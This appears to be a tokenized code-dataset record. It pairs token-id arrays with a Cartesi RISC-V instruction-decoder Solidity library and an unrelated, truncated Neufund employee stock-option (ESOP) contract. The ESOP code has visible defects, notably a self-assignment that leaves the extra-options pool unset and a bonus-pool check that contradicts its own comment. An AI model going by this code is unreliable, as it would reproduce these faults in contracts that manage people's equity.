[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4183, 5912, 1265, 1190, 9679, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 612, 16, 2254, 5034, 3844, 20308, 16, 2254, 5034, 6205, 5549, 13, 1071, 1135, 261, 6430, 20412, 13, 288, 203, 3639, 444, 23461, 1290, 1595, 12, 869, 16, 638, 1769, 203, 3639, 4183, 5912, 1265, 12, 2080, 16, 358, 16, 612, 16, 3844, 16, 315, 20, 92, 20, 8863, 203, 3639, 327, 353, 31639, 1290, 1595, 12, 2080, 16, 358, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// Copyright 2019 Cartesi Pte. Ltd. // SPDX-License-Identifier: Apache-2.0 // Licensed under the Apache License, Version 2.0 (the "License"); you may not use // this file except in compliance with the License. You may obtain a copy of the // License at http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software distributed // under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR // CONDITIONS OF ANY KIND, either express or implied. See the License for the // specific language governing permissions and limitations under the License. // @title RiscVDecoder pragma solidity ^0.7.0; import "@cartesi/util/contracts/BitsManipulationLibrary.sol"; /// @title RiscVDecoder /// @author Felipe Argento /// @notice Contract responsible for decoding the riscv's instructions // It applies different bitwise operations and masks to reach // specific positions and use that positions to identify the // correct function to be executed library RiscVDecoder { /// @notice Get the instruction's RD /// @param insn Instruction function insnRd(uint32 insn) public pure returns(uint32) { return (insn >> 7) & 0x1F; } /// @notice Get the instruction's RS1 /// @param insn Instruction function insnRs1(uint32 insn) public pure returns(uint32) { return (insn >> 15) & 0x1F; } /// @notice Get the instruction's RS2 /// @param insn Instruction function insnRs2(uint32 insn) public pure returns(uint32) { return (insn >> 20) & 0x1F; } /// @notice Get the I-type instruction's immediate value /// @param insn Instruction function insnIImm(uint32 insn) public pure returns(int32) { return int32(insn) >> 20; } /// @notice Get the I-type instruction's unsigned immediate value /// @param insn Instruction function insnIUimm(uint32 insn) public pure returns(uint32) { return insn >> 20; } /// @notice Get the U-type instruction's immediate value /// @param insn Instruction function insnUImm(uint32 insn) public pure returns(int32) { return int32(insn & 0xfffff000); } /// @notice Get the B-type instruction's immediate value /// @param insn Instruction function insnBImm(uint32 insn) public pure returns(int32) { int32 imm = int32( ((insn >> (31 - 12)) & (1 << 12)) | ((insn >> (25 - 5)) & 0x7e0) | ((insn >> (8 - 1)) & 0x1e) | ((insn << (11 - 7)) & (1 << 11)) ); return BitsManipulationLibrary.int32SignExtension(imm, 13); } /// @notice Get the J-type instruction's immediate value /// @param insn Instruction function insnJImm(uint32 insn) public pure returns(int32) { int32 imm = int32( ((insn >> (31 - 20)) & (1 << 20)) | ((insn >> (21 - 1)) & 0x7fe) | ((insn >> (20 - 11)) & (1 << 11)) | (insn & 0xff000) ); return BitsManipulationLibrary.int32SignExtension(imm, 21); } /// @notice Get the S-type instruction's immediate value /// @param insn Instruction function insnSImm(uint32 insn) public pure returns(int32) { int32 imm = int32(((insn & 0xfe000000) >> (25 - 5)) | ((insn >> 7) & 0x1F)); return BitsManipulationLibrary.int32SignExtension(imm, 12); } /// @notice Get the instruction's opcode field /// @param insn Instruction function insnOpcode(uint32 insn) public pure returns (uint32) { return insn & 0x7F; } /// @notice Get the instruction's funct3 field /// @param insn Instruction function insnFunct3(uint32 insn) public pure returns (uint32) { return (insn >> 12) & 0x07; } /// @notice Get the concatenation of instruction's funct3 and funct7 fields /// @param insn Instruction function insnFunct3Funct7(uint32 insn) public pure returns (uint32) { return ((insn >> 5) & 0x380) | (insn >> 25); } /// @notice Get the concatenation of instruction's funct3 and funct5 fields /// @param insn Instruction function insnFunct3Funct5(uint32 insn) public pure returns (uint32) { return ((insn >> 7) & 0xE0) | (insn >> 27); } /// @notice Get the instruction's funct7 field /// @param insn Instruction function insnFunct7(uint32 insn) public pure returns (uint32) { return (insn >> 25) & 0x7F; } /// @notice Get the instruction's funct6 field /// @param insn Instruction function insnFunct6(uint32 insn) public pure returns (uint32) { return (insn >> 26) & 0x3F; } }
@title RiscVDecoder @author Felipe Argento @notice Contract responsible for decoding the riscv's instructions It applies different bitwise operations and masks to reach specific positions and use that positions to identify the correct function to be executed
library RiscVDecoder { pragma solidity ^0.7.0; function insnRd(uint32 insn) public pure returns(uint32) { return (insn >> 7) & 0x1F; } function insnRs1(uint32 insn) public pure returns(uint32) { return (insn >> 15) & 0x1F; } function insnRs2(uint32 insn) public pure returns(uint32) { return (insn >> 20) & 0x1F; } function insnIImm(uint32 insn) public pure returns(int32) { return int32(insn) >> 20; } function insnIUimm(uint32 insn) public pure returns(uint32) { return insn >> 20; } function insnUImm(uint32 insn) public pure returns(int32) { return int32(insn & 0xfffff000); } function insnBImm(uint32 insn) public pure returns(int32) { int32 imm = int32( ((insn >> (31 - 12)) & (1 << 12)) | ((insn >> (25 - 5)) & 0x7e0) | ((insn >> (8 - 1)) & 0x1e) | ((insn << (11 - 7)) & (1 << 11)) ); return BitsManipulationLibrary.int32SignExtension(imm, 13); } function insnJImm(uint32 insn) public pure returns(int32) { int32 imm = int32( ((insn >> (31 - 20)) & (1 << 20)) | ((insn >> (21 - 1)) & 0x7fe) | ((insn >> (20 - 11)) & (1 << 11)) | (insn & 0xff000) ); return BitsManipulationLibrary.int32SignExtension(imm, 21); } function insnSImm(uint32 insn) public pure returns(int32) { int32 imm = int32(((insn & 0xfe000000) >> (25 - 5)) | ((insn >> 7) & 0x1F)); return BitsManipulationLibrary.int32SignExtension(imm, 12); } function insnOpcode(uint32 insn) public pure returns (uint32) { return insn & 0x7F; } function insnFunct3(uint32 insn) public pure returns (uint32) { return (insn >> 12) & 0x07; } function insnFunct3Funct7(uint32 insn) public pure returns (uint32) { return ((insn >> 5) & 0x380) | (insn >> 25); } function insnFunct3Funct5(uint32 insn) public pure returns (uint32) { return ((insn >> 7) & 0xE0) | (insn >> 27); } function insnFunct7(uint32 insn) public pure returns (uint32) { return (insn >> 25) & 0x7F; } function insnFunct6(uint32 insn) public pure returns (uint32) { return (insn >> 26) & 0x3F; } }
2,508,060
[ 1, 54, 291, 71, 58, 7975, 225, 478, 292, 3151, 14448, 29565, 225, 13456, 14549, 364, 13547, 326, 436, 291, 19774, 1807, 12509, 1377, 2597, 10294, 3775, 25337, 5295, 471, 20931, 358, 9287, 1377, 2923, 6865, 471, 999, 716, 6865, 358, 9786, 326, 1377, 3434, 445, 358, 506, 7120, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 12083, 534, 291, 71, 58, 7975, 288, 203, 203, 203, 203, 683, 9454, 18035, 560, 3602, 20, 18, 27, 18, 20, 31, 203, 565, 445, 29821, 54, 72, 12, 11890, 1578, 29821, 13, 1071, 16618, 1135, 12, 11890, 1578, 13, 288, 203, 3639, 327, 261, 2679, 82, 1671, 2371, 13, 473, 374, 92, 21, 42, 31, 203, 565, 289, 203, 203, 565, 445, 29821, 18880, 21, 12, 11890, 1578, 29821, 13, 1071, 16618, 1135, 12, 11890, 1578, 13, 288, 203, 3639, 327, 261, 2679, 82, 1671, 4711, 13, 473, 374, 92, 21, 42, 31, 203, 565, 289, 203, 203, 565, 445, 29821, 18880, 22, 12, 11890, 1578, 29821, 13, 1071, 16618, 1135, 12, 11890, 1578, 13, 288, 203, 3639, 327, 261, 2679, 82, 1671, 4200, 13, 473, 374, 92, 21, 42, 31, 203, 565, 289, 203, 203, 565, 445, 29821, 45, 1170, 81, 12, 11890, 1578, 29821, 13, 1071, 16618, 1135, 12, 474, 1578, 13, 288, 203, 3639, 327, 509, 1578, 12, 2679, 82, 13, 1671, 4200, 31, 203, 565, 289, 203, 203, 565, 445, 29821, 45, 57, 381, 81, 12, 11890, 1578, 29821, 13, 1071, 16618, 1135, 12, 11890, 1578, 13, 288, 203, 3639, 327, 29821, 1671, 4200, 31, 203, 565, 289, 203, 203, 565, 445, 29821, 57, 1170, 81, 12, 11890, 1578, 29821, 13, 1071, 16618, 1135, 12, 474, 1578, 13, 288, 203, 3639, 327, 509, 1578, 12, 2679, 82, 473, 374, 20431, 74, 3784, 1769, 203, 565, 289, 203, 203, 565, 445, 29821, 38, 1170, 81, 12, 11890, 1578, 29821, 13, 2 ]
pragma solidity 0.4.26; import "./ESOPTypes.sol"; import "./EmployeesList.sol"; import "./OptionsCalculator.sol"; import "../../../Math.sol"; import "../../../Universe.sol"; import "../../../Agreement.sol"; // import "./CodeUpdateable.sol"; import "./IESOPOptionsConverter.sol"; // import './ESOPMigration.sol'; contract ESOP is ESOPTypes, Agreement, EmployeesList, OptionsCalculator { //////////////////////// // Types //////////////////////// enum ESOPState { New, Open, Conversion, Migrated } enum TerminationType { Regular, BadLeaver } //////////////////////// // Events //////////////////////// // esop offered to employee event LogEmployeeOffered( address company, address indexed employee, uint96 poolOptions, uint96 extraOptions ); // employee accepted offer event LogEmployeeSignedToESOP( address company, address indexed employee, uint96 poolOptions, uint96 extraOptions ); event LogEmployeeExtraOptionsIncreased( address company, address indexed employee, uint96 extraOptions ); // employee rejected offer /*event EmployeeRejectedESOP( address company, address indexed employee );*/ // employee suspended event LogEmployeeSuspended( address indexed employee, uint32 suspendedAt ); // employee resumed event LogEmployeeResumed( address indexed employee, uint32 continuedAt, uint32 suspendedPeriod ); // employee terminated by company event LogEmployeeTerminated( address company, address indexed employee, uint32 terminatedAt, TerminationType termType ); // conversion exercised event LogEmployeeExercisedOptions( address indexed employee, address exercisedFor, uint256 totalOptions, uint256 bonusOptions, uint256 convertedOptions, bool isFinalConversion ); // esop was opened for particular company, converter and pool sizes event LogESOPOpened( address company, address converter, uint256 totalPoolOptions, uint256 totalExtraOptions, string optionsAgreementUrl ); // options conversion was offered with particular conversion agreement event LogOptionsConversionOffered( address company, address converter, uint32 convertedAt, uint32 exercisePeriodDeadline, uint256 bonusOptions, string conversionAgreementUrl, bool closeESOP ); // extra options pool was reset event LogESOPExtraPoolSet( uint256 totalExtraPool ); //////////////////////// // Immutable state //////////////////////// // ipfs hash of document establishing this ESOP // bytes public ESOPLegalWrapperIPFSHash; // company representative address address public COMPANY_LEGAL_REPRESENTATIVE; // token controller address which is also root of trust IESOPOptionsConverter public ESOP_OPTIONS_CONVERTER; // default period for employee signature uint32 constant public MINIMUM_MANUAL_SIGN_PERIOD = 2 weeks; //////////////////////// // Mutable state //////////////////////// // total poolOptions in The Pool uint256 private _totalPoolOptions; // total extra options in the pool uint256 private _totalExtraOptions; // total bonus options established optionally on final conversion uint256 private _totalBonusOptions; // poolOptions that remain to be assigned uint256 private _remainingPoolOptions; // assigned extra options uint256 private _assignedExtraOptions; // assigned bonus pool uint256 private _assignedBonusOptions; // all converted options uint256 private _exercisedOptions; // state of ESOP ESOPState private _esopState; // automatically sets to New (0) // when conversion event happened uint32 private _conversionOfferedAt; // employee conversion deadline uint32 private _exerciseOptionsDeadline; // conversion agreement string private _optionsConversionOfferUrl; // says if conversion is final bool private _isFinalConversion; //////////////////////// // Modifiers //////////////////////// modifier withEmployee(address e) { // will throw on unknown address require(hasEmployee(e), "NF_ESOP_EMPLOYEE_NOT_EXISTS"); _; } modifier onlyESOPNew() { require(_esopState == ESOPState.New, "NF_ESOP_ONLY_NEW"); _; } modifier onlyESOPOpen() { // esop is open when it's open or in partial conversion state require(isESOPOpen(), "NF_ESOP_ONLY_OPEN"); _; } modifier onlyESOPConverting() { require(_esopState == ESOPState.Conversion, "NF_ESOP_ONLY_NEW"); _; } modifier onlyLegalRep() { require(COMPANY_LEGAL_REPRESENTATIVE == msg.sender, "NF_ESOP_ONLY_COMPANY"); _; } modifier onlyOptionsConverter() { require(ESOP_OPTIONS_CONVERTER == msg.sender, "NF_ESOP_ONLY_CONVERTER"); _; } //////////////////////// // Constructor //////////////////////// constructor( Universe universe, address companyLegalRep, IESOPOptionsConverter optionsConverter, uint32 cliffPeriod, uint32 vestingPeriod, uint256 residualAmountFrac, uint256 bonusOptionsFrac, uint256 newEmployeePoolFrac, uint256 optionsPerShareCapitalUnit, uint256 strikePriceEurUlps ) public Agreement(universe.accessPolicy(), universe.forkArbiter()) { require(residualAmountFrac <= DECIMAL_POWER, "NF_ESOP_RESIDUAL_AMOUNT"); require(bonusOptionsFrac <= DECIMAL_POWER, "NF_ESOP_BONUS_OPTIONS"); require(newEmployeePoolFrac <= DECIMAL_POWER, "NF_ESOP_NEW_EMPLOYEE_FRAC"); require(optionsPerShareCapitalUnit > 0, "NF_ESOP_OPTIONS_PER_SHARE"); require(cliffPeriod <= vestingPeriod, "NF_ESOP_CLIFF_PERIOD"); //esopState = ESOPState.New; // thats initial value COMPANY_LEGAL_REPRESENTATIVE = companyLegalRep; ESOP_OPTIONS_CONVERTER = optionsConverter; CLIFF_PERIOD = cliffPeriod; VESTING_PERIOD = vestingPeriod; MAX_FADEOUT_FRAC = DECIMAL_POWER - residualAmountFrac; BONUS_OPTIONS_FRAC = bonusOptionsFrac; NEW_EMPLOYEE_POOL_FRAC = newEmployeePoolFrac; // number of indivisible options representing 1 unit of share capital OPTIONS_PER_SHARE_CAPITAL_UNIT = optionsPerShareCapitalUnit; STRIKE_PRICE_EUR_ULPS = strikePriceEurUlps; } //////////////////////// // Public Methods //////////////////////// function removeEmployeesWithExpiredSignaturesAndReturnFadeout() public onlyESOPOpen { // removes employees that didn't sign and sends their poolOptions back to the pool // computes fadeout for terminated employees and returns it to pool // we let anyone to call that method and spend gas on it address[] storage addresses = loadEmployeeAddresses(); uint32 ct = uint32(now); for (uint i = 0; i < addresses.length; i++) { address ea = addresses[i]; if (ea != address(0)) { // address(0) is deleted employee Employee storage emp = loadEmployee(ea); // remove employees with expired signatures if (emp.state == EmployeeState.WaitingForSignature && ct > emp.timeToSign) { _remainingPoolOptions += distributeAndReturnToPool(emp.poolOptions, i + 1); _assignedExtraOptions -= emp.extraOptions; // actually this just sets address to 0 so iterator can continue removeEmployee(ea); continue; } // return fadeout to pool if (emp.state == EmployeeState.Terminated && ct > emp.fadeoutStarts) { (uint96 returnedPoolOptions, uint96 returnedExtraOptions) = calculateFadeoutToPool(emp, ct); if (returnedPoolOptions > 0 || returnedExtraOptions > 0) { // storage pointer - we write to storage emp.fadeoutStarts = ct; // options from fadeout are not distributed to other employees but returned to pool _remainingPoolOptions += returnedPoolOptions; // we maintain extraPool for easier statistics _assignedExtraOptions -= returnedExtraOptions; } } } } } // can only by executed by option conversion contract which is token controller // totalPoolOptions + totalExtraOptions should correspond to authorized capital established in token controller // options will be assigned from totalPoolOptions and totalExtraOptions function openESOP(uint256 totalPoolOptions, uint256 totalExtraOptions, string optionsAgreementUrl) public onlyOptionsConverter onlyESOPNew { // pools must have sizes of whole share capital units require(totalPoolOptions % OPTIONS_PER_SHARE_CAPITAL_UNIT == 0, "NF_ESOP_POOL_ROUND"); require(totalExtraOptions % OPTIONS_PER_SHARE_CAPITAL_UNIT == 0, "NF_ESOP_POOL_ROUND"); // initialize pools _totalPoolOptions = totalPoolOptions; _remainingPoolOptions = totalPoolOptions; _totalExtraOptions = _totalExtraOptions; // open esop _esopState = ESOPState.Open; // sign agreement amendAgreement(optionsAgreementUrl); // compute maximum bonus options and modify FRAC to have round share capital (MAXIMUM_BONUS_OPTIONS, BONUS_OPTIONS_FRAC) = calculateMaximumBonusOptions(totalPoolOptions); emit LogESOPOpened( COMPANY_LEGAL_REPRESENTATIVE, ESOP_OPTIONS_CONVERTER, totalPoolOptions, totalExtraOptions, optionsAgreementUrl); } // can increase extra pool by options converter, so company governance needs to check out function setTotalExtraPool(uint256 totalExtraOptions) public onlyOptionsConverter onlyESOPOpen { require(totalExtraOptions >= _assignedExtraOptions, "NF_ESOP_CANNOT_DECREASE_EXTRA_POOL_BELOW"); require(totalExtraOptions % OPTIONS_PER_SHARE_CAPITAL_UNIT == 0, "NF_ESOP_POOL_ROUND"); _totalExtraOptions = totalExtraOptions; emit LogESOPExtraPoolSet(totalExtraOptions); } // implement same migration as PlaceholderController // function m(); function offerOptionsToEmployee(address e, uint32 issueDate, uint32 timeToSign, uint96 extraOptions, bool poolCleanup) public onlyESOPOpen onlyLegalRep { if (poolCleanup) { // recover poolOptions for employees with expired signatures // return fade out to pool removeEmployeesWithExpiredSignaturesAndReturnFadeout(); } offerOptionsPrivate(e, issueDate, timeToSign, extraOptions, true); } function offerOptionsToEmployeeOnlyExtra(address e, uint32 issueDate, uint32 timeToSign, uint96 extraOptions) public onlyESOPOpen onlyLegalRep { offerOptionsPrivate(e, issueDate, timeToSign, extraOptions, false); } function increaseEmployeeExtraOptions(address e, uint96 extraOptions) public onlyESOPOpen onlyLegalRep withEmployee(e) { Employee storage emp = loadEmployee(e); require(emp.state == EmployeeState.Employed || emp.state == EmployeeState.WaitingForSignature, "NF_ESOP_EMPLOYEE_INVALID_STATE"); //this will save storage emp.extraOptions += extraOptions; // issue extra options issueExtraOptions(extraOptions); emit LogEmployeeExtraOptionsIncreased(e, COMPANY_LEGAL_REPRESENTATIVE, extraOptions); } function employeeSignsToESOP() public withEmployee(msg.sender) onlyESOPOpen { Employee storage emp = loadEmployee(msg.sender); require(emp.state == EmployeeState.WaitingForSignature, "NF_ESOP_EMPLOYEE_INVALID_STATE"); require(now <= emp.timeToSign, "NF_ESOP_SIGNS_TOO_LATE"); emp.state = EmployeeState.Employed; emit LogEmployeeSignedToESOP(COMPANY_LEGAL_REPRESENTATIVE, msg.sender, emp.poolOptions, emp.extraOptions); } function toggleEmployeeSuspension(address e, uint32 toggledAt) external onlyESOPOpen onlyLegalRep withEmployee(e) { Employee storage emp = loadEmployee(e); require(emp.state == EmployeeState.Employed, "NF_ESOP_EMPLOYEE_INVALID_STATE"); if (emp.suspendedAt == 0) { //suspend action emp.suspendedAt = toggledAt; emit LogEmployeeSuspended(e, toggledAt); } else { require(emp.suspendedAt <= toggledAt, "NF_ESOP_SUSPENDED_TOO_LATE"); uint32 suspendedPeriod = toggledAt - emp.suspendedAt; // move everything by suspension period by changing issueDate emp.issueDate += suspendedPeriod; emp.suspendedAt = 0; emit LogEmployeeResumed(e, toggledAt, suspendedPeriod); } } function terminateEmployee(address e, uint32 terminatedAt, uint8 terminationType) external onlyESOPOpen onlyLegalRep withEmployee(e) { // terminates an employee TerminationType termType = TerminationType(terminationType); Employee storage emp = loadEmployee(e); // check termination time against issueDate require(terminatedAt >= emp.issueDate, "NF_ESOP_CANNOT_TERMINATE_BEFORE_ISSUE"); if (emp.state == EmployeeState.WaitingForSignature) { termType = TerminationType.BadLeaver; } else { // must be employed require(emp.state == EmployeeState.Employed, "NF_ESOP_EMPLOYEE_INVALID_STATE"); } // how many poolOptions returned to pool uint96 returnedOptions; uint96 returnedExtraOptions; if (termType == TerminationType.Regular) { // regular termination, compute suspension if (emp.suspendedAt > 0 && emp.suspendedAt < terminatedAt) emp.issueDate += terminatedAt - emp.suspendedAt; // vesting applies returnedOptions = emp.poolOptions - calculateVestedOptions(terminatedAt, emp.issueDate, emp.poolOptions); returnedExtraOptions = emp.extraOptions - calculateVestedOptions(terminatedAt, emp.issueDate, emp.extraOptions); terminateEmployee(e, emp.issueDate, terminatedAt, terminatedAt, EmployeeState.Terminated); } else if (termType == TerminationType.BadLeaver) { // bad leaver - employee is kicked out from ESOP, return all poolOptions returnedOptions = emp.poolOptions; returnedExtraOptions = emp.extraOptions; removeEmployee(e); } _remainingPoolOptions += distributeAndReturnToPool(returnedOptions, emp.idx); _assignedExtraOptions -= returnedExtraOptions; emit LogEmployeeTerminated(e, COMPANY_LEGAL_REPRESENTATIVE, terminatedAt, termType); } // offer options conversion to employees and possibly close ESOP if this is final conversion // final conversion forces converting all options into shares/tokens/money in given deadline // non final (partial) conversion let's employees to choose % options converted and ESOP still continues // conversion happens in token controller and requires signing optionsConversionOfferUrl // bonus pool corresponding to additional authorized capital is offered for accel vesting bonus, if offered must match total optional bonus // if bonus pool is 0, it's assumed that it's a future commitment without assigned authorized capital that will be converted function offerOptionsConversion(uint32 exerciseOptionsDeadline, uint256 bonusPool, string optionsConversionOfferUrl, bool closeESOP) public onlyESOPOpen onlyOptionsConverter { uint32 offerMadeAt = uint32(now); require(exerciseOptionsDeadline - offerMadeAt >= MINIMUM_MANUAL_SIGN_PERIOD, "NF_ESOP_CONVERSION_PERIOD_TOO_SHORT"); require(bonusPool > 0 && closeESOP, "NF_BONUS_POOL_ONLY_ON_CLOSE"); require(bonusPool == 0 || bonusPool == MAXIMUM_BONUS_OPTIONS, "NF_ESOP_BONUS_OPTIONS_MISMATCH"); // return to pool everything we can removeEmployeesWithExpiredSignaturesAndReturnFadeout(); _totalBonusOptions = bonusPool; _conversionOfferedAt = offerMadeAt; _exerciseOptionsDeadline = exerciseOptionsDeadline; _esopState = ESOPState.Conversion; _optionsConversionOfferUrl = optionsConversionOfferUrl; // from now vesting and fadeout stops, no new employees may be added _isFinalConversion = closeESOP; emit LogOptionsConversionOffered( COMPANY_LEGAL_REPRESENTATIVE, ESOP_OPTIONS_CONVERTER, offerMadeAt, exerciseOptionsDeadline, bonusPool, optionsConversionOfferUrl, closeESOP ); } // final conversion is executed by employee and bonus options can be triggered via agreeToAcceleratedVestingBonusConditions // accelerated vesting will be applied function employeeFinalExerciseOptions(bool agreeToAcceleratedVestingBonusConditions) public onlyOptionsConverter withEmployee(msg.sender) { require(now <= _exerciseOptionsDeadline, "NF_ESOP_CONVERSION_TOO_LATE"); // no accelerated vesting before final conversion require(_isFinalConversion, "NF_ESOP_NOT_FINAL_CONV"); // convert employee in its own name exerciseOptionsInternal(uint32(now), msg.sender, msg.sender, DECIMAL_POWER, !agreeToAcceleratedVestingBonusConditions); } // partial conversion is executed and accelerated vesting is not applied so it happens from already vested options // employee may choose to convert less options than all that is vested // token controller performing conversion may further limit the number options converted - that is returned as convertedOptions function employeePartialExerciseOptions(uint256 exercisedOptionsFrac) public onlyOptionsConverter withEmployee(msg.sender) returns(uint256 convertedOptions) { require(now <= _exerciseOptionsDeadline, "NF_ESOP_CONVERSION_TOO_LATE"); // partial conversion only in non final require(!_isFinalConversion, "NF_ESOP_NOT_PARTIAL_CONV"); // make sure frac is within 0-100% assert(exercisedOptionsFrac > 0 && exercisedOptionsFrac <= DECIMAL_POWER); // convert employee in its own name return exerciseOptionsInternal(uint32(now), msg.sender, msg.sender, exercisedOptionsFrac, true); } function employeeDenyExerciseOptions() public onlyOptionsConverter withEmployee(msg.sender) { require(now <= _exerciseOptionsDeadline, "NF_ESOP_CONVERSION_TOO_LATE"); require(_isFinalConversion, "NF_ESOP_CANNOT_DENY_NONFINAL_C"); // marks as fully converted, releasing authorized capital but not getting real shares Employee storage emp = loadEmployee(msg.sender); require(emp.state != EmployeeState.OptionsExercised, "NF_ESOP_EMPLOYEE_ALREADY_EXERCISED"); // mark as converted - that's terminal state (uint96 pool, uint96 extra, uint96 bonus) = calculateOptionsComponents( emp, uint32(now), _conversionOfferedAt, true ); assert(bonus == 0); emp.exercisedOptions = pool + extra; emp.state = EmployeeState.OptionsExercised; // increase exercised options pool _exercisedOptions += pool + extra; emit LogEmployeeExercisedOptions(msg.sender, address(0), pool + extra, 0, pool + extra, true); } function exerciseExpiredEmployeeOptions(address e, bool disableAcceleratedVesting) public onlyOptionsConverter onlyLegalRep withEmployee(e) returns (uint256 convertedOptions) { // company can convert options for any employee that did not converted (after deadline) require(_isFinalConversion, "NF_ESOP_CANNOT_TAKE_EXPIRED_NONFINAL_C"); // legal rep will hold tokens and get eventual payout return exerciseOptionsInternal(uint32(now), e, COMPANY_LEGAL_REPRESENTATIVE, DECIMAL_POWER, disableAcceleratedVesting); } function calcEffectiveOptionsForEmployee(address e, uint32 calcAtTime) public constant withEmployee(e) returns (uint) { // only final conversion stops vesting uint32 conversionOfferedAt = _isFinalConversion ? _conversionOfferedAt : 0; Employee memory emp = loadEmployee(e); return calculateOptions(emp, calcAtTime, conversionOfferedAt, false); } // // Implements IContractId // function contractId() public pure returns (bytes32 id, uint256 version) { // neufund-platform:ESOP return (0xd4407ab22b0688495bf10d43a119a766b8d16095a1ec9b4678dcc3ee0cb082ea, 0); } // // Getters // // returns amount of authorized capital represented by all pools function getAuthorizedCapital() public constant returns (uint256) { return calculateAuthorizedCapital(_totalPoolOptions + _totalExtraOptions + _totalBonusOptions); } // returns amount of authorized capital assigned to employees function getAssignedAuthorizedCapital() public constant returns (uint256) { uint256 assigned = _totalPoolOptions - _remainingPoolOptions + _assignedExtraOptions + _assignedBonusOptions; return calculateAuthorizedCapital(assigned); } // returns amount of authorized capital exercised by employees // if conversion to equity token happens that amount of authorized capital is now assigned to nominee function getExercisedAuthorizedCapital() public constant returns (uint256) { return calculateAuthorizedCapital(_exercisedOptions); } function getPoolsInfo() public constant returns ( uint256 totalPoolOptions, uint256 totalExtraOptions, uint256 totalBonusOptions, uint256 remainingPoolOptions, uint256 assignedExtraOptions, uint256 assignedBonusOptions, uint256 exercisedOptions ) { return ( _totalPoolOptions, _totalExtraOptions, _totalBonusOptions, _remainingPoolOptions, _assignedExtraOptions, _assignedBonusOptions, _exercisedOptions ); } function esopState() public constant returns (ESOPState) { return isESOPOpen() ? ESOPState.Open : _esopState; } function getConversionInfo() public constant returns ( uint32 conversionOfferedAt, uint32 exerciseOptionsDeadline, string optionsConversionOfferUrl, bool isFinalConversion ) { return ( _conversionOfferedAt, _exerciseOptionsDeadline, _optionsConversionOfferUrl, _isFinalConversion ); } //////////////////////// // Internal Methods //////////////////////// // // Overrides Agreement internal interface // function mCanAmend(address legalRepresentative) internal returns (bool) { // options converter or company legal rep can change agreement return legalRepresentative == address(ESOP_OPTIONS_CONVERTER) || legalRepresentative == COMPANY_LEGAL_REPRESENTATIVE; } //////////////////////// // Private Methods //////////////////////// function distributeAndReturnToPool(uint256 distributedOptions, uint idx) private returns (uint256 optionsLeft) { // enumerate all employees that were offered poolOptions after than fromIdx -1 employee address[] storage addresses = loadEmployeeAddresses(); optionsLeft = distributedOptions; for (uint256 i = idx; i < addresses.length; i++) { address ea = addresses[i]; if (ea != 0) { // address(0) is deleted employee Employee storage emp = loadEmployee(ea); // skip employees with no poolOptions and terminated employees uint96 empPoolOptions = emp.poolOptions; if (empPoolOptions > 0 && ( emp.state == EmployeeState.WaitingForSignature || emp.state == EmployeeState.Employed) ) { uint96 newoptions = calcNewEmployeePoolOptions(optionsLeft); // emp is a storage so write happens here emp.poolOptions = empPoolOptions + newoptions; optionsLeft -= newoptions; } } } } function exerciseOptionsInternal( uint32 calcAtTime, address 